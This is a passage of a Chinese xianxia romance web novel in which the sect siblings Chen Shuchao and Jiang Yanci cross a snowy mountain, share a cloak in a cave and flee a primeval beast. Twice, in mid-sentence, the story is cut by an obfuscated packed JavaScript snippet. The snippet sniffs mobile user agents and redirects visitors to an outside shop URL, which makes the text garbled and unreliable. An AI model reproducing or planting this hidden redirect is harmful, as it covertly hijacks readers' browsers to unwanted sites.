陈舒朝松开手,这小子果真还是个小孩,被姑娘轻轻一碰就烫成这样。 这个想法一出,她愣了下。 这孩子刚因为这个问题和她吵过,应该重视孩子的需求,不能忽视。 他是个成年人了。 陈舒朝努力地将自己身边的这具躯体当作是一个成年人,风花雪月,寂静的山洞里,只能听见外面呼啸的风声。 两个人紧紧靠在一起,对方剧烈的心跳声通过紧挨的手臂传到她身上。 于是她的注意力全被他抓住。 粗重的喘息、绯红的脸颊、升高的体温…… 江砚辞湿透的衣裳紧贴身体,勾勒出他的紧致的身材,视线往上,乌黑的头发沾了雪水贴在脸颊与脖颈上,蜿蜒如黑色蟒蛇。 他的长相是那种秀丽的美,若让一个陌生人去评价,绝对会用“绣花枕头”来形容,最多是三脚猫功夫,谁也想不到他会是天之骄子、无量宗这一代的希望,年轻的元婴期修士。 陈舒朝想,他的确是个成年人了,是个大人了。 一旦这样想,就再也无法用之前的眼光去看待了。 身体回暖了些,她起身,有意回避:“我们继续走吧。” 江砚辞还未有动作,披风便随之抽离,身体有一瞬间的凉。 抬眼,师姐已经走到了洞口。 陈舒朝看向下方,雪又变厚了些。 外面的风雪沾在身上就是刺骨的冷,进山洞前还毫无知觉,只是方才身体热了些,这么一对比,显得难以忍受了。 洞口离地大约还有七八尺距离,她深呼吸,做好准备。 这个高度,若是不调整好姿势,加上雪地本就松软,很可能整个人都跌进雪里,口耳鼻都塞满雪,衣裳也会沾满雪。 她回头,口头叮嘱了几句,很干脆利落地跳下去,完美落地。 只不过比正常走路陷进雪里的深度要深些。 拔出腿,她往前走了两步,抬首看向洞口。 他对冷的忍耐力没有她高,之前被冻麻了没有知觉,这么一来一回地折腾,身体不听使唤了。 大概是要摔了。 陈舒朝观察着他的动作,预估他的落地位置,提前过去预防他摔倒。 江砚辞内心很平静,就算之前有什么胡思乱想,被冷风一吹也全都没了。 除了身体会不受控制地抖,甚至抖得他腹腔难受。 这是很自然的生理反应,他没法控制。 深呼吸,深呼吸。 吸气——呼气—— 只能不断深呼吸来让身体冷静下来。 稍好一点之后,他往下看。 师姐怎么正好站在他想跳的位置? 再往左站一点,师姐也跟着往左,他往右,师姐也跟着往右。 他无奈地停在原地,对着下面大喊:“师姐,你让开一点!” 陈舒朝也有点懵,怎么她往哪这人就离开哪,位置换来换去的还跳不跳了。 怎么还停了? 他喊了一句什么没听清。 于是她也朝他喊:“你说什么!” 两人因为之前的一番折腾,体力已消耗得差不多,即便用了全力去喊,被风与雪削弱后也不剩多少。 对喊了半天,实际上连对方一句话都没听清。 陈舒朝放弃了,改为了在雪上写字。 她对江砚辞比了个停止的手势,转头写下“你跳,我接住你”几个大字。 只是刚刚将“跳”字写完,便有大风刮过,刚写的字全都消失不见。 “啧。” 她没忍住“啧”了一声,加快速度写第二遍。 这次还没开始写“跳”字便被刮走了。 算了吧,摔就摔,大不了直接下山,这里的时间几乎停滞,只要不死,都好说。 她就站在原地不动,双手叉腰望向上方。 江砚辞看不懂。 你跳? 这是什么意思? 双方沟通极度困难,江砚辞想不明白,于是他不管了,直接跳。 凛冽的风鬼哭狼嚎地刮,衣袂翻飞,脚刚触及地面,便被松软的雪裹住,没有着力点一个不慎往前倾倒。 果然会这样,幸好跳得位置够近。 陈舒朝呼出一口气,一把把他捞过来。 男人靠在她的肩膀,脚一滑,整个身体形成一个斜面,只有头部一个支点,还有被她揽住胸膛的手臂。 可能因为对摔倒的恐惧,他下意识想找什么支撑点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990239|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手环上了她的腰。 腰上陌生的触感有点奇怪,她忍住没动。 这个姿势实在不够雅观,两人离得这样近,陈舒朝没有生出任何旖旎的心思,反而没忍住“嗤”的一声笑了出来。 江砚辞本身就已经想找个地缝钻进去了,现在听到这声笑更是这辈子都不想抬起头了。 就这样时间停止吧,太丢人了…… 他不敢抬头,陈舒朝大约也能明白他在想什么。 止住了笑,她戳戳他的后脑勺:“该起来了吧。” 江砚辞生无可恋,闷闷地“嗯”了声。 几息过去,江砚辞手不敢用力,更不敢动,想要起来只能发挥腰腹的力量,却因为脚没有支点而像鲤鱼打挺。 ……或许还没有鲤鱼打挺那样美观,鲤鱼至少还能翻个身。 他以为自己只是小幅度地动了动,其实陈舒朝看得一清二楚,鲤鱼打挺还是夸他的呢,现实情况更加惨不忍睹。 实在看不下去了。 陈舒朝双手托住他的腋下,给他手动立好。 江砚辞全程不敢看她的脸,只是把自己的头埋得低一点再低一点。 脸也红得仿佛要滴血,之前是害羞,现在是尴尬。 怎么才能让师姐忘掉刚才发生的事,求。 陈舒朝正了正神色,一副严肃的样子,仿佛方才什么也没发生:“咳,该走了。” 江砚辞硬着头皮抬头,看到的是师姐怎么也无法压下去的嘴角。 肯定在偷偷笑吧! “你还能坚持么?”陈舒朝打断他的胡思乱想。 “可以。” 很冷,但还没有冷到完全不能走,适应一会儿就有些麻木了。 “那我们继续往上走,再坚持一下,已经能看到山顶了。” 这个距离,爬上去温度也不会再低多少了。 陈舒朝走在前面,江砚辞在后面跟上。 天地间仿佛只剩下了他们两个人。 ——其实也没错,这个小空间里,把一个人忽略掉,就真的只剩他们两个人了。 陈舒朝在前面认真地思考着一些奇怪的问题转移自己的注意力,降低自己对寒冷的感知;身后的江砚辞则是面无表情。 寒冷真的很神奇,让他脑中其他杂念全都消失,只剩一个念头——“往前走”。 “师弟。” 他听到有人喊他,抬首,看到师姐朝她招手。 江砚辞快走几步,到师姐身边,刚想问一句怎么了,背部一沉。 师姐把她披风的一半盖在了他身上。 他顿了顿,若无其事地继续往前走,只是拢了拢披风,稍微裹紧了些。 一件披风盖在两人身上,两个人并肩行走。 日出时,他们到达了山顶。 朝阳暖黄色的光照在雪上,给雪镀上了一层橙红色。 她往下望,只见苍山负雪,明烛天南。 可谓是极其壮观。 这里是制高点,下面的景象一览无余,很快便在郁郁葱葱的树林中看到了唯一一片清澈的湖。 确定了大概方向,陈舒朝道:“在那边,走,我们下山,一直往那边走便能找到。” 陈舒朝指了指,因为冷,手并没有伸出来,而是缩在袖子里。 江砚辞顺着她指的方向看去,点了点头。 这时太阳已经完全升起,在这样的地方,太阳就是一个巨大的光源,没有一点温度。 陈舒朝拿袖子遮了遮略微有些刺眼的阳光。 之后便一刻不停地往山下跑。 都说上山容易下山难,的确是这样的,下山的路要比上山要难走许多,一不小心便会脚滑摔倒。 幸好两人在披风下离得极近,一方将要摔倒,另一方总能及时扶住。 也有倒霉的时候,两人会一起摔倒,陷进雪中,就算离开也会留下两人的身形,不知要多久才能重新被雪覆盖。 44. 极上奇莲(五) 还未到山麓,在半山腰时,已完全不见积雪。 身体回暖,终于没了冷意。同样的,身上沾的雪也开始融化,衣裳的颜色深一块浅一块,特别是裤子,近乎湿透。 还好,有极寒在前,这都不算什么。 陈舒朝拧了拧袖子和裤脚上的水,伸展了下身体,虽说衣裳湿哒哒地黏在身上还是有点不舒服,但这样的感觉反倒让她松了一口气。 她被冻习惯了,身体硬朗,风寒这样的病症不会找上她。 不过嘛,陈舒朝瞅了瞅,旁边这人似乎很容易得病,自从上山这风寒就没好过。 走到这里就不冷了,阳光也有了温度,连续几天没合眼,陈舒朝疲惫得眼睛半睁不睁。 江砚辞也是,走路深一脚浅一脚,感觉下一步就要直接躺下睡觉。 下山比上山快些,几日后他们终于看到了一个山洞。 江砚辞看得眼睛都要直了:“师姐。那好像是我们上山时睡的山洞。” 的确,里面还有他们没烧完的柴火。 走这么久,衣裳早就干了,再加上有了上面的对比,就算不生火他也能睡得很沉很舒服。 陈舒朝带他走进去。 江砚辞正想找个地随便睡一晚,听到师姐问他:“你睡觉老实么?” 江砚辞:? 江砚辞:“应该还算老实吧。” 陈舒朝:“会抢被子么?” 江砚辞不明白为什么会这么问,乖乖答道:“不知道,没和别人睡过。” 陈舒朝点了点头,认真思考了一会儿,仿佛做了一个重大的决定一般:“那就当你不会抢被子,过来。” 她拍了拍自己身边的位置。 江砚辞过去。 “躺下睡吧。” 江砚辞躺下,闭眼。 师姐要干什么? 问他睡觉老不老实、抢不抢被子,又让他躺在这里睡。 离得如此近…… 他其实能想到一点。 闭上眼睛,听觉便会更加灵敏,他能听到一些衣物摩擦的声响。 师姐解开了披风,盖在了他身上,随后自己也躺下,缩进披风里。 他假装睡着了,一动不敢动,实则心脏快要爆炸了。 果然师姐是要和他一起睡么,他的背就挨着师姐的背,微微的凉意顺着背部传来。 师姐不怕冷,但是身上却是凉的。 不久后,披风内暖了起来,江砚辞还未睡着。 很困,但是不想睡觉。 江砚辞动作极轻地翻了个身。 能这样安静地和师姐处在一个地方的时间很少。 怎么办,有点不舍得睡觉了。 师姐就躺在他身边,呼吸平稳,明显睡着了,他眼睛一眨不眨地盯着她的后脑勺。 她的长发铺在地上,江砚辞伸手,抓住了一缕,很快又放下,拿小指勾了勾,最终不舍地闭上了眼睛。 这一觉睡了不知多久,醒来的时候他听到了噼里啪啦的声响。 披风还盖在身上,身旁没了人影。 睁开眼,洞内是昏暗的。 还是晚上,他睡了没多久么? 还是有点困,但是他强撑着自己坐起来,揉了揉眼睛,神了个懒腰。 “师姐?” 陈舒朝拿一根树枝巴拉一个柴火,回他:“嗯。” 江砚辞起来,把身上的披风叠好,递回去:“我们继续走吧。” 陈舒朝没动:“等会,马上天亮了,天亮了再走。” 江砚辞抱着衣服坐她旁边:“我还以为自己会睡好久,没想到天还没亮就醒了。” 陈舒朝沉默了一下:“你饿么?” 这话刚说完,江砚辞的肚子恰好发出了咕噜咕噜的声音,他尴尬道:“好像有点。” “那边有我摘的果子,你吃点。” 视线放过去,是一些红色的小果子。 他拿起来尝了下。 挺甜的,汁水也多。 “多谢师姐。” “谢什么。”陈舒朝不知道从哪拎出一只还在活蹦乱跳的兔子,“吃兔肉么?” 江砚辞差点以为自己听错了:“什么肉?” “兔子肉,我刚去捕的,你不吃的话等会烤了我自己吃。” 等等,师姐去摘了果子,生了火还抓了兔子? “我吃。”回答完后,他有了一个不妙的猜想,“师姐你何时醒的?” “差不多午时吧。” 午时? 那也就是说他把整个白天都睡过去了,并且现在又快到白天了? 他居然睡了这么久。 “师姐醒了怎么不叫我?” “叫醒你干什么,能睡就睡,现在头不痛了吧?” “不痛了。” 因为师姐的关心,他心里生出些暖意。 “几个果子应该吃不饱,等我把兔子处理了。” 兔子在她手上挣扎,白色的看着看很可爱,烤出来肯定很香。 “师姐我来处理吧。” “行。”陈舒朝乐得清闲,“但是烤还是得我来烤,我有独家秘诀。” 江砚辞顿了一下,想起她做的“瞪眼挑衅鱼”,最终还是比一个“放心”的手势。 陈舒朝靠墙,两腿交叠,看少年处理食材。 野兔在这样荒无人烟的野外是很常见的食物,他在筑基辟谷之前接各种各样的任务,时常需要这样自力更生,处理起来很熟练。 少年处理得很认真,眼眸微微垂着,鸦羽一般的长睫在眼下投出一点阴影,只看表情,像是在做一件很庄严的事情,根本不会想到只是在处理兔子。 一只兔子很快便被放干净血,扒干净皮,掏空内脏,最终被串在树枝上,递给了师姐。 陈舒朝稍微检查了一下,夸赞道:“不错。” 江砚辞扬唇笑笑。 没办法,被喜欢的人夸了,任谁都压不住嘴角。 陈舒朝的烤法是多年前自己研究出来的,这样烤出来的兔肉,肉质外部焦香,内部细嫩紧实。 就算不加调料也很好吃,根本不会腻。 一个时辰后,天光微熹,兔子烤好了,陈舒朝从中间切开,递给江砚辞一半。 这兔肉外皮酥脆有光泽,色泽均匀无焦糊,紧绷不塌能脱骨,可谓是一看就让人食欲大开。 吃到嘴里也是非常香,是江砚辞吃过最好吃的兔肉。 没想到师姐能做得这么好吃,再加上自己真的非常饿,江砚辞三两口将兔子吃完,满足地擦了擦自己的嘴角。 陈舒朝刚吃了两口抬头,见江砚辞手上空空如也:“?” “啊,我吃完了。没事师姐你继续吃,我已经吃饱了。” 看给孩子饿的,陈舒朝莫名愧疚,默默吃完了兔子。 两人完全休息好,继续往山下赶路。 两日后,终于下了山。 陈舒朝指指前方:“顺着这个方向一直走,就能找到了。” 在山顶时她也试图找过丰文山的身影,但可惜树影重重叠叠,根本看不到。 最好全程都不要遇到他,拿了极上奇莲就悄无声息地走。 反正空间戒指现在在她手里,她可以随时去留,甚至可以把丰文山一辈子关在这里面。 只要注意别遇到灵兽就行。 她和江砚辞并肩行走,阳光透过树叶投下斑驳的树影,细碎的阳光照在少年的肩背上。 陈舒朝取走他肩上的一片落叶,快走两步走在他前面。 江砚辞追上:“怎么了?” “没什么,是落叶。”她将落叶举起来。 是黄色的叶子,长得很标准的叶子。 于是他抬首望向四周,郁郁葱葱的树木夹杂几片黄叶。 “原来到秋天了啊。” “嗯。小心一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997089|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,灵兽大多领地意识极强,千万不能误入。” 以他们现在的状态,连最低阶的灵兽都能来拍死他们。 最多不过靠着体术逃跑,不可能反杀的。 陈舒朝清楚有灵力和没灵力的区别,中间隔的不止是条天堑。所以一直在提醒他小心点。 江砚辞点点头。 他理论知识学的很好,知道这种环境中有哪些常见的灵兽以及他们的习性,尽量避开走,能绕过大部分灵兽的领地。 越走越深,树叶越发茂盛,遮天蔽日,光线稀少,杂草减少。 陈舒朝敏锐地察觉到前方的黑暗中有什么东西。 她手臂一横,挡住江砚辞前进的路线。 “小心,前面好像有什么东西。” 前面有东西? 江砚辞停下步子,凝神去望。 黑暗中,闪过一双绿色的眼瞳。 仿佛被洪水猛兽盯上,令人毛骨悚然。 气氛剑拔弩张,陈舒朝缓步后退,悄声对江砚辞道:“后退,尽量别发出声音。” 她目力极佳,看清了黑暗中的灵兽。 它状如黄牛,身有逆鳞,是书中所言早已灭绝的“黄羊”。 是了,这个空间不知从什么时候就开始存在,里面纯净无人打扰,有上古灵兽也不足为奇。 还是黄羊的幼年期,不会很强,但是他们两人现在与凡人无异,肯定是打不过的。 只能跑。 陈舒朝紧盯着黄羊,注意着它的一举一动,后退了约莫三丈远,见对方还是毫无动作,只是眼睛盯着他们。 她扭头拉着江砚辞就跑! 江砚辞被拉着,几乎跑出残影。 身后出现类似于野兽嘶吼的声音,奔跑时地面也有轻微的震动。 被追上会死的吧? 两人跑得飞快,但,凡人之躯怎么能和上古神兽比肩? 黄羊与他们的距离越来越近,陈舒朝没扭头,迅速找出视线内可以用到的东西。 树,树,树……这里除了树就是树,根本没有其他东西。 陈舒朝摸了摸手上戴着的戒指,必要时候,直接传送走,大不了重来一次,重新找方向。 黄羊体型巨大,奔跑间撞倒一棵棵树,她动了动耳朵,从身后传来的声音中判断距离。 马上就要追上了。 黄羊发出一声吼叫,忽地加速。就在身后了,陈舒朝喊道:“上树!” 陈舒朝松开手,三两下爬上一颗树,江砚辞也迅速反应,爬上旁边的一棵树。 树的高度刚好是黄羊打不到的高度。 黄羊智力不高,嗅觉也不灵敏,它方才猛地往前一扑,扑了个空,先是在原地转了一圈,想不明白人去哪了,又在原地扒了两下地上的土。 实在是有点蠢。 陈舒朝在心里骂了一句,对江砚辞比了个噤声的手势。 希望它找不到人就赶紧走吧。 黄羊没找到人明显怒了,它仰天长啸,周围的树都震了震。 陈舒朝抱紧树干,时刻观察它的动作,只见它后退了几步,蓄力,随后往前冲,像是发疯一般,前面的一大片树全被撞倒。 它甩了甩脑袋,又朝旁边撞去。 它这是要把树全都撞倒,逼他们出来! 确实不够聪明,但是也太坚持了一点,一定要找出他们么? 这样下去迟早要撞到他们所在的树。 陈舒朝对江砚辞比了几个手势。 江砚辞:“?” 他看不懂。 算了。 陈舒朝放弃,在黄羊对准他们还在蓄力时,她抓准这个空隙,对江砚辞说:“走,别下树!” 他们可以靠着灵活走树上,但黄羊不行,一是因为体型,二是因为它不会爬树。 它只能将树一棵棵撞倒。 这样就好说了,只要往树越变越大的地方走就好。